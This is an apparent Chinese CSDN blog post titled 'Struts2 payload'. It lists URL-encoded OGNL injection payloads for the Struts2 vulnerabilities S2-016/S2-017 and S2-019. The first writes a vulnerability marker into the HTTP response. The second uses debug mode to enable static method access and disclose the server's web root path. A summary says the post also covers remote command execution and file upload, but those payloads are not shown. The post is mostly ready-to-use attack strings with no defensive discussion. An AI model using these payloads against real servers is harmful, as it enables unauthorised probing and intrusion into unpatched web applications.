Struts2 payload

最新推荐文章于 2022-04-18 12:01:00 发布

CN_CodeLab

最新推荐文章于 2022-04-18 12:01:00 发布

阅读量1.9k

点赞数

分类专栏： Web安全

本文链接：https://blog.csdn.net/sinat_25449961/article/details/52415590

版权

本文详细探讨了Struts2框架中的一系列安全漏洞，包括S-016/S-017、S2-019、DevMode、远程命令执行、S2-032和S2-037。特别提到了通过这些漏洞可以实现获取磁盘目录、执行命令及上传文件等高危操作，揭示了Struts2在安全性方面的问题。

摘要由CSDN通过智能技术生成

S-016/S-017

http://****.do?redirect:${%23w%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23w.println(%27it%20is%20vulerable.%27),%23w.flush(),%23w.close()}

S2-019

http://***/Custom_getOwnMustDoCustomBooks.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest%28%29,%23resp=@org.apache.struts2.ServletActionContext@getResponse%28%29,%23resp.getWriter%28%29.print%28%22dir:%22%29,%23resp.getWriter%28%29.println%28%23req.getSession%28%29.getServletContext%28%29.getRealPath%28%22/%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close